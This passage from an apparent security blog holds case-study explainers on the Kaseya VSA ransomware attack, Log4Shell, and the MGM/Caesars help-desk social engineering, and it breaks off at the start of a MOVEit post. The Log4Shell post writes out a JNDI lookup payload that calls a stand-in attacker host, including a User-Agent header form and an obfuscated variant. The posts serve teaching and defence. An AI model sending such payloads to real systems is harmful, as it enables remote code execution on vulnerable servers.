https://investor.equifax.com/news-events/press-releases/detail/237/equifax-releases-details-on-cybersecurity-incident - Equifax to Pay $575 Million as Part of Settlement with FTC, CFPB, and States (US Federal Trade Commission): https://www.ftc.gov/news-events/news/press-releases/2019/07/equifax-pay-575-million-part-settlement-ftc-cfpb-states-related-2017-data-breach - CVE-2017-5638 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2017-5638 - S2-045: Possible RCE when performing file upload based on Jakarta Multipart parser (Apache Software Foundation): https://cwiki.apache.org/confluence/display/WW/S2-045 --- ## The Kaseya VSA Attack: Ransomware Through the Management Tool > How the July 2021 Kaseya VSA incident worked: zero-days in an RMM platform, MSPs used as a distribution channel to around 1,500 downstream businesses, and a disclosure race the attackers won. - URL: https://blog.pwnsy.com/kaseya-vsa-attack-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: kaseya, revil, msp, supply-chain, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - Attackers exploited zero-day flaws in Kaseya VSA, a remote monitoring and management platform, and used its own software deployment mechanism to push ransomware to the endpoints it managed. - Around 60 direct Kaseya customers were hit, most of them managed service providers, and roughly 1,500 downstream businesses were encrypted through them. - The victims mostly had no relationship with Kaseya. They had an IT provider, and the provider had a management tool. - A Dutch research group had already reported the vulnerabilities and Kaseya was working on fixes. The attack landed during that window, on a holiday weekend. ### Key Takeaways - RMM platforms are designed to run arbitrary code as SYSTEM on every managed endpoint, which makes them the most efficient ransomware distribution channel in existence. - The agent is normally excluded from endpoint protection to stop it being flagged, so its deployments inherit that exclusion. - Holiday weekends are chosen deliberately. Both the Kaseya and MOVEit campaigns began before a long weekend in the US. - Coordinated disclosure has a race condition: a vulnerability under responsible disclosure is still exploitable until the patch ships and is applied. - If you use an MSP, your security depends on their tooling and their access hygiene, and you should be asking about both in the contract. - The FBI obtained a decryption key and shared it with victims, which is an unusual outcome and not a plan anyone can rely on. ### FAQ **Q: What was the Kaseya VSA attack?** On 2 July 2021, the REvil ransomware operation exploited previously unknown vulnerabilities in Kaseya VSA, an on-premises remote monitoring and management platform used by IT providers. Having compromised VSA servers, they used the platform's own deployment mechanism to push ransomware to the endpoints those servers managed, encrypting systems at around 1,500 downstream businesses. **Q: What is an RMM tool and why is it such a good target?** Remote monitoring and management software lets an IT provider administer thousands of client machines centrally: deploy software, run scripts, apply patches, take remote control. By design it executes code with the highest privileges on every managed endpoint, and it is frequently excluded from endpoint protection so its own activity is not flagged. That combination is exactly what a ransomware operator would build if they could. **Q: How many organisations were affected?** Reporting at the time indicated roughly 60 direct Kaseya customers, most of them managed service providers, and approximately 1,500 downstream businesses encrypted through them. Among the visible consequences, the Swedish supermarket chain Coop closed hundreds of stores because its point of sale systems were managed by an affected provider. **Q: Was the vulnerability already known?** It was under coordinated disclosure. The Dutch Institute for Vulnerability Disclosure had reported the flaws to Kaseya, which was working on fixes when the attack occurred. The tracked identifier for the authentication bypass used is CVE-2021-30116. This is the uncomfortable middle period of responsible disclosure: the vendor knows, the researchers know, the patch is not out yet, and the vulnerability is still exploitable by anyone else who finds it. **Q: Did the victims pay?** A universal decryptor was demanded for 70 million dollars. In late July 2021 Kaseya obtained a decryption key and made it available to victims. The FBI later confirmed it had obtained the key and had held it for a period while planning an operation against the group's infrastructure, a decision that drew criticism because victims were waiting during that time. **Q: What should organisations that use an MSP take from this?** That your provider's tooling is part of your attack surface. Ask which RMM platform they use, whether it is internet-exposed, whether administrative access to it requires phishing-resistant authentication, how quickly they patch it, and what their incident process is. Ask for the same segmentation you would want internally, so one compromised provider console cannot reach every client at once. If you wanted to encrypt as many companies as possible with the least effort, you would not attack them individually. You would find the software that already has permission to run code on all of their machines. That software exists, it is called remote monitoring and management, and thousands of small businesses have it installed because their IT provider needs a way to administer their laptops. On 2 July 2021, the REvil operation exploited zero-day flaws in one such platform and used its own deployment mechanism to distribute ransomware to the endpoints it managed. Roughly 1,500 businesses were encrypted. Almost none of them had heard of the vendor. ## Timeline | Date | Event | |---|---| | April 2021 | The Dutch Institute for Vulnerability Disclosure reports vulnerabilities in Kaseya VSA. Fixes are in progress | | 2 July 2021, before the US Independence Day weekend | Attackers exploit the flaws against internet-facing VSA servers and push ransomware through the platform | | 2 to 4 July 2021 | CISA and the FBI publish guidance. Kaseya advises customers to shut down VSA servers immediately | | 3 July 2021 | Coop, a Swedish supermarket chain, closes hundreds of stores after its point of sale systems are affected through a provider | | 5 July 2021 | REvil demands 70 million dollars for a universal decryptor | | 11 July 2021 | Kaseya releases patches for on-premises VSA | | 22 July 2021 | Kaseya obtains a decryption key and begins helping victims | ## Why an RMM platform is the ideal target The properties that make these tools useful are precisely the properties an attacker wants. **It runs code as SYSTEM on every managed endpoint.** That is the product. Deploying software, running scripts and applying configuration are its core functions, and they execute with the highest privileges available. **It reaches everything at once.** One console administers thousands of machines across dozens of client organisations. There is no lateral movement to perform; the fan-out is a feature. **It is usually excluded from endpoint protection.** Because the agent legitimately does things that look malicious (running scripts, installing software, executing remote commands), administrators add exclusions to stop the security product interfering. Anything the agent deploys inherits that exclusion, so the ransomware arrived through a channel that endpoint protection had been told to ignore. **It is often internet-facing.** The console has to be reachable for technicians working remotely and for agents checking in from client sites. **It is administered by a small team under time pressure.** Managed service providers are usually thin on staff, and the console is frequently protected by a password without strong authentication. Put together, this is a distribution channel with privileged execution, wide reach, security exclusions and internet exposure. It is worth naming that explicitly, because the same description fits every RMM product rather than one vendor's. ## The MSP amplifier The victims were mostly small businesses: dental practices, accountancy firms, schools, regional retailers, local government. They had outsourced IT to a provider, which is sensible, and the provider used a management platform, which is necessary. The consequence is a supply chain that most of the victims could not see. A business that had never made a decision about Kaseya, had no contract with them, and could not have patched anything, was encrypted because their IT provider's console was compromised. Coop is the clearest illustration. A supermarket chain closed hundreds of stores because its point of sale systems were managed by an affected provider. The chain's own security posture was not the determining factor. This is the same fourth-party structure as [The MOVEit Breach](/moveit-breach-explained), reached through management tooling rather than file transfer, and it is why supplier questions belong in the contract rather than in the post-incident review. ## The disclosure race The most instructive detail is that the vulnerabilities were already reported. Researchers had disclosed them to Kaseya through a coordinated process. The vendor was working on fixes. The attack landed inside that window. Coordinated disclosure exists because publishing a vulnerability with no patch available leaves everyone exposed, and it is the right default. It also creates a period in which the flaw is known to some people and unfixed for everyone, and during which anyone else who independently finds it can exploit it against a defenceless population. [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) covers the trade-offs; this incident is the strongest available example of the cost side. Nothing in that observation is a criticism of the researchers, who did exactly the right thing. It is an argument for vendors treating a reported pre-authentication flaw in an internet-facing management product as an emergency rather than as a scheduled fix. ## Holiday timing The attack began before the US Independence Day weekend. Cl0p's MOVEit campaign began before Memorial Day weekend two years later. This is a deliberate and repeated choice: skeleton staffing, delayed detection, slower vendor response, and more time to spread before anyone notices. The practical consequence for defenders is unglamorous. Long weekends and holiday periods need on-call coverage with real authority to act, an escalation path that works when the usual people are away, and a pre-authorised decision to isolate systems without waiting for a manager who is on a beach. ## The decryptor REvil demanded 70 million dollars for a universal decryptor. In late July, Kaseya obtained a decryption key and made it available to affected customers. The FBI subsequently confirmed it had obtained the key and had withheld it for a period while planning a disruption operation against the group's infrastructure. That drew criticism, because victims were down and waiting during that time, and it is a genuine tension: disrupting an operation permanently protects future victims, while sharing the key immediately helps the current ones. For planning purposes the lesson is simpler. A key arriving through law enforcement is an unusual outcome and cannot be part of a recovery plan. The plan is backups you can restore, per [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide). ## What to do about it **If you are a managed service provider:** - Treat the RMM console as tier zero infrastructure, with phishing-resistant authentication for every administrator and no standing access, per [Privileged Access Management Explained](/privileged-access-management-explained). - Do not expose the console to the internet unrestricted. Put it behind a VPN or restrict by network. - Patch it on an emergency clock, and subscribe to the vendor's security advisories directly. - Segment client environments so one compromised console cannot deploy to every client simultaneously. - Alert on unusual deployments: a script pushed to every endpoint at once outside a change window is the exact signature of this attack. **If you use a managed service provider:** - Ask which management platform they use, whether it is internet-exposed, and how administrative access is protected. - Ask how quickly they patch it, and what happened the last time their vendor issued a critical advisory. - Ask what isolates your environment from their other clients. - Keep backups that your provider's console cannot reach or delete, which is the specific control that saved organisations in this incident. - Put notification obligations in the contract. ## What generalises 1. **Anything with privileged execution across many endpoints is a distribution channel.** RMM, patch management, configuration management, software deployment, and the EDR agent itself. 2. **Security exclusions are inherited by whatever the excluded process deploys.** 3. **Your provider's security is your security**, and it is a contract question rather than a technical one. 4. **Coordinated disclosure has an exposure window.** Vendors should treat reported pre-auth flaws in exposed management products as emergencies. 5. **Holidays are attack windows.** Staff them. 6. **Backups the management tooling cannot reach** are what makes this survivable. ## The verdict The attackers did not need to compromise 1,500 companies. They compromised the software those companies' IT providers used to manage them, and let it do the distribution. The uncomfortable part is that the affected businesses did nothing wrong by any ordinary standard. They outsourced IT, which is what a small business should do. The controls that would have helped them sit in their provider's console and in a backup their provider's console could not delete. ## Related guides - [The MOVEit Breach](/moveit-breach-explained) - [Ransomware as a Service Explained](/ransomware-as-a-service-explained) - [Privileged Access Management Explained](/privileged-access-management-explained) - [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) - [Coordinated Vulnerability Disclosure Explained](/coordinated-vulnerability-disclosure-explained) ### Sources - Kaseya VSA Supply-Chain Ransomware Attack (CISA): https://www.cisa.gov/news-events/alerts/2021/07/02/kaseya-vsa-supply-chain-ransomware-attack - CISA-FBI Guidance for MSPs and their Customers Affected by the Kaseya VSA Supply-Chain Ransomware Attack (CISA and FBI): https://www.cisa.gov/news-events/alerts/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa - CVE-2021-30116 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2021-30116 - Kaseya VSA Limited Disclosure (Dutch Institute for Vulnerability Disclosure): https://csirt.divd.nl/cases/DIVD-2021-00002/ - #StopRansomware Guide (CISA): https://www.cisa.gov/resources-tools/resources/stopransomware-guide --- ## Log4Shell Explained: One Log Line to Remote Code Execution > How CVE-2021-44228 worked: JNDI lookups inside logged strings, the LDAP class-loading chain, the four-release patch sequence, and why finding every vulnerable copy was harder than fixing it. - URL: https://blog.pwnsy.com/log4shell-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: log4shell, log4j, supply-chain, incident-analysis, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - Log4j evaluated lookup expressions inside strings it was asked to log. A string containing `${jndi:ldap://attacker/x}` made the logger fetch and load a remote class. - Any input that reached a log line was an attack vector: a User-Agent header, a username field, a chat message, a device name. No authentication was needed. - Affected versions were 2.0-beta9 through 2.14.1, and the fix took four releases to settle, ending at 2.17.1. Several teams patched three times. - The hard part was never the patch. It was finding every copy, because Log4j arrives as a dependency of a dependency, bundled inside vendor appliances and shaded into fat JARs. ### Key Takeaways - The root cause was a feature: message lookups were documented behaviour, and JNDI could load a class from a remote server. - Remove the `JndiLookup` class from the JAR if you cannot upgrade. It is the mitigation that survives the versions where configuration flags proved insufficient. - `formatMsgNoLookups` and 2.15.0 were both incomplete fixes, which is why version 2.15.0 is not a safe endpoint. - Newer Java runtimes reduced some exploitation paths by refusing remote codebases by default, and they did not make vulnerable versions safe. - The lasting change is inventory: a software bill of materials answers "are we affected" in minutes, and grepping repositories answers it in days. - The US Cyber Safety Review Board concluded this is an endemic vulnerability that will be exploited for a decade, which is a statement about inventory rather than about Java. ### FAQ **Q: What is Log4Shell?** Log4Shell is the name given to CVE-2021-44228, a remote code execution vulnerability in Apache Log4j 2, disclosed in December 2021. Log4j evaluated special lookup expressions inside the strings it logged. An attacker who could get text into a log message could include a JNDI lookup pointing at a server they controlled, and the logging library would connect to it and load a Java class from it. **Q: Which versions of Log4j were vulnerable?** Versions 2.0-beta9 through 2.14.1 for the original vulnerability. The fix sequence ran 2.15.0, which was incomplete in some configurations (CVE-2021-45046), then 2.16.0, which disabled JNDI by default and removed message lookups, then 2.17.0 for a denial of service issue (CVE-2021-45105), then 2.17.1 (CVE-2021-44832). The safe endpoint for the Java 8 line is 2.17.1 or later. Log4j 1.x is a different codebase without this flaw, and it is end of life with its own unpatched issues. **Q: How was it exploited?** By getting a string into anything the application logged. Common vectors were HTTP headers such as User-Agent and X-Forwarded-For, form fields, usernames on failed login attempts, search queries, chat messages, filenames, and device or hostname fields. The request itself did not need to succeed, because failed requests are also logged. **Q: If I cannot upgrade, what should I do?** Remove the JndiLookup class from the JAR, which is the mitigation the Apache project and CISA both recommended for cases where upgrading is not possible: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`. Setting `log4j2.formatMsgNoLookups` was recommended initially and proved insufficient against some paths, so treat class removal as the fallback rather than a configuration flag. **Q: Why was it so hard to fix?** Because organisations could not find it. Log4j is rarely a direct dependency: it is pulled in by a framework, bundled inside a vendor appliance whose contents you cannot inspect, shaded into a fat JAR under a different path, or baked into a container image nobody rebuilds. Answering "where do we run Log4j" required scanning artefacts and asking every vendor, and many organisations spent weeks on the question before touching a patch. **Q: Is Log4Shell still a risk?** Yes, in the sense that unpatched instances remain in production years later, usually in appliances and embedded systems nobody has an inventory for. The US Cyber Safety Review Board described it as an endemic vulnerability that will be present in systems for a decade or more, and exploitation attempts against internet-facing systems continue. In December 2021, security teams spent a weekend discovering that a logging library they had never chosen, in software they had not written, could be turned into remote code execution by putting a string in a text field. The mechanism is almost comically small. Log4j supported lookups inside log messages, so `${java:version}` in a logged string would be replaced with the Java version. One of the supported lookups was JNDI, which can fetch objects from a remote directory server. Put those together and a logged string containing `${jndi:ldap://attacker.example/x}` makes the logging library connect to an attacker's server and load whatever it returns. The panic was proportionate. Log4j is in an enormous share of Java applications, the attack needed no authentication, and the input could be anything that eventually got written to a log. This page covers the mechanism, the four-release patch sequence that caught teams out, and the reason the response took months rather than an afternoon. ## Timeline | Date | Event | |---|---| | 24 November 2021 | The issue is reported to Apache | | 9 December 2021 | A proof of concept circulates publicly. Mass scanning begins | | 10 December 2021 | CVE-2021-44228 is published. 2.15.0 is released | | 13 to 14 December 2021 | 2.15.0 is found incomplete in some configurations. CVE-2021-45046. 2.16.0 released | | 17 December 2021 | CISA issues Emergency Directive 22-02 for federal agencies. CVE-2021-45105 follows, then 2.17.0 | | 28 December 2021 | 2.17.1 addresses CVE-2021-44832 | | July 2022 | The US Cyber Safety Review Board publishes its review, calling it an endemic vulnerability | ## The mechanism Three ordinary features stacked into a critical vulnerability. **One: Log4j evaluates lookups in messages.** Logging `${java:version}` produced the version rather than the literal text. This was documented behaviour, useful for enriching logs. **Two: JNDI can load remote objects.** The Java Naming and Directory Interface resolves names to objects, and it can be pointed at an LDAP or RMI server. In some configurations, the response tells the JVM to fetch and instantiate a class from a URL. **Three: applications log untrusted input.** Web servers log the User-Agent. Applications log failed usernames. Systems log filenames, device names, search terms and error strings containing user data. Put together, the attack is one string: ``` User-Agent: ${jndi:ldap://attacker.example/exploit} ``` The application logs the request, Log4j sees the lookup, JNDI resolves it against the attacker's LDAP server, and the response directs the JVM to load a class from the attacker. The class runs. Notice what the attacker needs: the ability to put text somewhere that gets logged. Not a valid account, not a specific endpoint, not a particular request method. A failed login is logged. A malformed request is logged. This is why the vector list was endless and why filtering on `${jndi:` at the perimeter was a losing game, since the expression could be nested and obfuscated (`${${lower:j}ndi:`) in dozens of ways. ## The patch sequence that caught people out Teams that patched once in December often patched three times. | Version | Status | |---|---| | 2.14.1 and earlier | Vulnerable to CVE-2021-44228 | | 2.15.0 | Incomplete in some non-default configurations, CVE-2021-45046 | | 2.16.0 | Message lookups removed, JNDI disabled by default. Then CVE-2021-45105, a denial of service | | 2.17.0 | Fixes the DoS. Then CVE-2021-44832, requiring configuration file write access | | 2.17.1 | The endpoint for the Java 8 line | Two practical notes that stayed relevant afterwards. **`formatMsgNoLookups` was not sufficient.** The flag was widely recommended in the first 48 hours and did not cover every path. **Removing the class is the durable fallback.** Where upgrading was impossible, deleting `JndiLookup` from the JAR removes the capability entirely: ```bash zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ``` Newer Java runtimes made exploitation harder by refusing to load classes from remote codebases by default, which closed the simplest path. It did not make vulnerable versions safe, because other exploitation routes existed using classes already on the classpath, and repeating "we are on a recent JDK so we are fine" was one of the more common errors of that month. ## Why it took months The patch was available on day one. The work was finding out where to apply it. **Log4j is rarely a direct dependency.** It arrives underneath a framework, which arrives underneath an application. A team that has never written `log4j` in a build file can still ship it in twelve services. **It gets shaded.** Build tools relocate and repackage dependencies into fat JARs, so the class sits at a rewritten path and a filename scan misses it. **Vendors ship it inside appliances.** Network devices, storage arrays, backup systems, virtualisation management, security products. Customers cannot inspect the contents and cannot patch them. The answer to "are we affected" depended on hundreds of vendor advisories arriving over weeks, and some never arrived. **Container images freeze it.** An image built in 2019 still contains what it contained in 2019, and rebuilding requires a pipeline that may no longer exist. **Nobody had the inventory.** Most organisations could not enumerate their own software components. This, rather than any property of Java, is why the response was slow. That experience is the strongest argument yet made for software bills of materials. An organisation with an accurate SBOM answered "where do we run Log4j, and which versions" in minutes. An organisation without one spent weeks grepping, scanning artefacts, and emailing vendors. The point generalises: the value arrives on the day something like this happens, and it has to have been built beforehand. [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) covers where composition analysis fits, and [Cloud Misconfigurations](/cloud-misconfigurations-guide) covers the adjacent problem of not knowing what you run. ## What attackers actually did with it Exploitation split quickly into a familiar pattern. **Commodity first.** Cryptomining and botnet recruitment within days, as covered in [What Is a Cryptojacker](/what-is-a-cryptojacker). Automated scanning of the whole internet with a payload attached. **Access brokers next.** Establish a foothold and sell it, the model in [Initial Access Brokers Explained](/initial-access-brokers-explained). **Ransomware and state activity after that.** Slower, targeted, and often against internet-facing enterprise products that took months to patch. The tail is long. Exploitation attempts against unpatched internet-facing systems continued for years, and vulnerable instances remain in appliances and embedded systems where nobody has an inventory. The Cyber Safety Review Board's judgement that this is endemic for a decade is a statement about that tail rather than about the difficulty of the fix. ## What generalises 1. **Features become vulnerabilities when they meet untrusted input.** Lookups in log messages were a feature. Nobody modelled the case where the message came from an attacker. 2. **Logging is an attack surface.** It handles untrusted data by definition, and it is almost never treated as security-relevant code. 3. **You cannot patch what you cannot find.** Inventory is the prerequisite, and the day of the emergency is too late to start. 4. **Incomplete fixes happen under time pressure.** Track the advisory rather than patching once and declaring the matter closed. 5. **Your exposure includes your vendors' components**, and for appliances you can neither see nor patch them yourself. ## The verdict One string in a log line, in a library nobody chose deliberately, reachable through any field an application records. The fix existed the day it was disclosed and the work took months, because the industry discovered it did not know what its own software was made of. The durable lesson is inventory. Build the component inventory now, keep it current in the pipeline, and the next event of this shape becomes a query rather than a fire drill. ## Related guides - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [The CVE System Explained](/the-cve-system-explained) - [KEV Catalog Explained](/kev-catalog-explained) - [Initial Access Brokers Explained](/initial-access-brokers-explained) - [Secure Coding Practices](/secure-coding-practices) ### Sources - CVE-2021-44228 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - Apache Log4j Security Vulnerabilities (Apache Logging Services): https://logging.apache.org/security.html - AA21-356A: Mitigating Log4Shell and Other Log4j-Related Vulnerabilities (CISA): https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a - Review of the December 2021 Log4j Event (US Cyber Safety Review Board): https://www.cisa.gov/resources-tools/resources/review-december-2021-log4j-event - CVE-2021-45046 detail (NIST National Vulnerability Database): https://nvd.nist.gov/vuln/detail/CVE-2021-45046 - The Minimum Elements For a Software Bill of Materials (SBOM) (US National Telecommunications and Information Administration): https://www.ntia.gov/report/2021/minimum-elements-software-bill-materials-sbom --- ## MGM and Caesars: One Crew, Two Help Desks, Two Answers > How the September 2023 casino attacks worked: social engineering against IT service desks, identity infrastructure as the target, and the contrast between one company paying and the other refusing. - URL: https://blog.pwnsy.com/mgm-caesars-attack-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: mgm, caesars, scattered-spider, social-engineering, case-study - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - Both intrusions started with a phone call. Attackers researched employees, called the IT service desk impersonating them, and obtained credential or multi-factor resets. - From there the target was identity infrastructure, which is what turns one account into access across the estate. - Caesars was reported to have paid around 15 million dollars. MGM refused, and disclosed roughly 100 million dollars of impact for the quarter. - Neither outcome is an argument for the other. The comparison is useful because it shows what each choice actually buys. ### Key Takeaways - A help desk that can reset multi-factor authentication is an authentication bypass with a phone number, and its verification procedure is a security control. - The attackers were fluent English speakers using ordinary conversation, which defeats the training that tells staff to look for broken grammar and foreign accents. - Public professional profiles supply everything needed to impersonate someone convincingly: name, role, manager, office, start date. - Paying bought Caesars a faster path and no guarantee, and refusing cost MGM disruption and did not stop the data theft. The data was gone either way. - The control that generalises is verification: strong identity proofing before any reset, with a harder path for privileged accounts. - Attribution to a named crew matters less than the technique, which any competent social engineer can run. ### FAQ **Q: How did the MGM and Caesars attacks start?** With social engineering against IT service desks. Reporting on both incidents describes attackers identifying employees through public professional profiles, then telephoning the service desk while impersonating them and requesting password or multi-factor authentication resets. Once a reset was granted, the attacker enrolled their own factor and had a working account. **Q: Why is the help desk such an effective target?** Because it exists to restore access for people who have lost it, which means it is authorised to undo authentication controls. Staff are measured on how quickly they resolve tickets, trained to be helpful, and often working from a script that accepts weak identity checks such as employee number, date of birth or manager's name, all of which are discoverable. A successful call bypasses every authentication factor the organisation has deployed. **Q: What did the attacks cost?** Caesars was reported to have paid roughly 15 million dollars, and disclosed that data including loyalty programme information had been taken. MGM refused to pay and disclosed an expected negative impact of around 100 million dollars for the quarter, with days of visible disruption to hotel check-in, room keys, slot machines and reservations. **Q: Was paying the right decision?** The comparison does not settle that, and it does clarify what payment buys. Caesars paid and still had data stolen, with only a promise of deletion from people whose business depends on holding data hostage. MGM refused, absorbed substantial operational disruption, and also had data stolen. Payment addressed disruption rather than exposure, which is the general shape: extortion payments buy time and a promise, and they never un-steal data. **Q: Who was behind it?** The activity has been widely associated with a loosely organised, largely English-speaking crew tracked under several names, working with a ransomware-as-a-service operation for the encryption stage. Several individuals were subsequently charged in the United States. Attribution is an investigative claim; what matters defensively is that the technique requires social skill and a telephone rather than advanced tooling. **Q: What is the single fix?** Strong identity verification before any credential or multi-factor reset, with a materially harder path for privileged accounts: a callback to a number of record, a manager confirmation through a separate channel, a video check against an identity record, or in-person verification. And an explicit policy that makes refusing an unverified request the safe choice for the person on the phone. In September 2023 two of the largest casino operators in Las Vegas were attacked within days of each other by people using the same technique: a telephone call to the IT help desk. No exploit. No malware on the way in. Someone looked up an employee, called the service desk pretending to be them, and asked for their access to be restored. The two companies then made opposite decisions about payment, which is why they are worth writing about together. The comparison does not produce a rule about whether to pay, and it does show precisely what each choice bought. ## Timeline | Date | Event | |---|---| | Early September 2023 | Social engineering against Caesars' IT support, reportedly via an outsourced provider | | 7 September 2023 | Caesars discloses in a subsequent filing that it identified the activity around this period | | 10 September 2023 | MGM begins experiencing outages. Systems are taken offline in response | | 11 to 20 September 2023 | Visible disruption at MGM properties: check-in, digital room keys, slot machines, reservations, payment | | 14 September 2023 | Caesars files an 8-K disclosing the incident and data theft | | 5 October 2023 | MGM files an 8-K describing an expected negative impact of around 100 million dollars for the quarter | ## The technique **Reconnaissance from public sources.** Professional networking profiles supply a name, a job title, a location, a manager, a tenure and often a photograph. That is enough to sound like a specific employee, in a specific team, with a specific reason for calling. **A phone call to the service desk.** The attacker impersonates the employee and reports being locked out. The desk applies its verification procedure, which typically asks for information that appears on those same public profiles or is otherwise obtainable, and then resets the password or the multi-factor enrolment. **Enrolment of the attacker's factor.** With the reset granted, the attacker registers their own device. The account is now theirs, with a legitimate credential and a legitimate factor. **Escalation toward identity infrastructure.** The intrusions moved toward the systems that manage identity across the estate, because compromising those converts one account into many. This is the same reasoning set out in [The Okta Breaches](/okta-breaches-explained): the identity layer is the shortcut past every other access control. **Data theft, then encryption.** Data was exfiltrated, and ransomware from an established operation was deployed at MGM. Two things about the callers are worth stating, because they break common training. They were fluent English speakers with cultural familiarity, so the standard advice about unusual phrasing or unfamiliar accents did nothing. And they were persistent and calm, willing to call repeatedly and to escalate to a different agent if the first refused. ## Why the help desk is the weak point The service desk exists to restore access for people who have genuinely lost it. That is a legitimate and necessary function, and it means the desk is authorised to undo authentication controls. Consider what an organisation spends on authentication: hardware keys, conditional access policies, device compliance, session controls. Then consider that a phone call can result in a new factor being enrolled on an attacker's device. Every one of those controls is bypassed, not defeated. The pressures are structural: - **Speed is the metric.** Agents are measured on resolution time and customer satisfaction. Slowing down to verify is penalised by the scoreboard. - **The caller sounds distressed and important.** Refusing a genuine executive who cannot access their email has career consequences that refusing an attacker does not appear to have. - **The verification questions are weak.** Employee number, date of birth, manager's name, office location. All discoverable. - **Outsourced desks are further from the culture** and often working from a stricter script with less discretion to refuse. ## The two answers on payment Caesars was reported to have paid roughly 15 million dollars, and the company disclosed that data including loyalty programme information had been taken. Reporting indicated a faster return to normal operations. MGM refused. It disclosed an expected quarterly impact of around 100 million dollars and experienced days of visible disruption across its properties, with staff reverting to manual processes at check-in and on the gaming floor. The useful reading is what each choice bought. **Payment addressed disruption, not exposure.** Caesars still had data stolen. What the money bought was a promise of deletion from a criminal operation and, in practice, a faster operational recovery. **Refusal cost operations and did not increase exposure.** MGM's data was gone regardless. What refusal cost was time and revenue; what it avoided was funding the operation and depending on a criminal's promise. Neither is a template. The decision depends on whether backups can restore service in an acceptable time, what the legal and regulatory position is, whether sanctions considerations apply to the recipient, and how the organisation weighs funding future attacks. What both cases establish is that **payment does not un-steal data**, so the confidentiality consequences are identical either way, which is the point made in [The MOVEit Breach](/moveit-breach-explained) about extortion without encryption. That decision should be made in advance, in daylight, with legal and executive input, and written down. Making it during an outage at three in the morning is how organisations end up paying for something payment cannot deliver. ## What to change on Monday The controls here are procedural rather than technical, and they are cheap. **Verification proportional to what is being reset.** Restoring access to a shared printer queue is not the same as re-enrolling multi-factor authentication for an administrator. Tier the procedure. **A callback to the number of record**, held in the HR system rather than supplied by the caller. **Manager confirmation through a separate channel** for privileged accounts, or in-person or video verification against an identity record. **A cooling-off period** for high-risk resets, which removes the urgency that social engineering depends on. **Alerting on the reset itself.** A multi-factor re-enrolment on a privileged account is a security event, and it should reach a monitoring queue rather than only a ticket, per [What Is a SIEM](/what-is-a-siem). **Explicit permission to refuse.** State in policy, and repeat in training, that no employee will ever be penalised for declining an unverified reset request, and that executives are subject to the same procedure. Without that, the incentives point the other way and the procedure loses. **Test it.** Include help desk social engineering in red team scope. Most organisations have never tried to call their own service desk as an attacker would, and the result is usually instructive. [Social Engineering Playbook](/social-engineering-playbook) covers the persuasion mechanics being applied. ## What generalises 1. **The help desk is an authentication bypass with a phone number.** Its procedure is a security control and deserves the attention one. 2. **Public professional profiles are reconnaissance.** That is not a reason to delete them, and it is a reason to assume the attacker knows the org chart. 3. **Identity infrastructure is the objective**, because it converts one account into all of them. 4. **Decide the payment question before the incident**, since payment addresses disruption and never exposure. 5. **A visible consumer-facing outage becomes a public story quickly**, so communications planning belongs alongside technical response. ## The verdict Two of the largest hospitality operators in the world were taken down by phone calls. The technique requires social confidence and an org chart, and it defeats an authentication stack costing millions because the help desk is authorised to undo it. The fix is a verification procedure with teeth and a culture where refusing an unverified request is safe. That is a policy change and a training change, and it is the highest-return security work available to most organisations right now. ## Related guides - [Social Engineering Playbook](/social-engineering-playbook) - [The Okta Breaches](/okta-breaches-explained) - [Ransomware as a Service Explained](/ransomware-as-a-service-explained) - [Privileged Access Management Explained](/privileged-access-management-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) ### Sources - MGM Resorts International Form 8-K, 5 October 2023 (US Securities and Exchange Commission): https://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&CIK=0000789570&type=8-K&dateb=&owner=include&count=40 - Caesars Entertainment Form 8-K, 14 September 2023 (US Securities and Exchange Commission): https://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&CIK=0000858339&type=8-K&dateb=&owner=include&count=40 - #StopRansomware: ALPHV Blackcat (CISA and FBI): https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-353a - Threat Actors Exploit Multi-Factor Authentication and Help Desk Processes (Okta): https://sec.okta.com/ - MITRE ATT&CK T1078: Valid Accounts (MITRE): https://attack.mitre.org/techniques/T1078/ --- ## The MOVEit Breach: One File Transfer Product, Thousands of Victims > How CVE-2023-34362 worked: a pre-auth SQL injection in MOVEit Transfer, the LEMURLOOT web shell, mass exfiltration without encryption, and why managed file transfer products keep being targeted. - URL: https://blog.pwnsy.com/moveit-breach-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: moveit, cl0p, 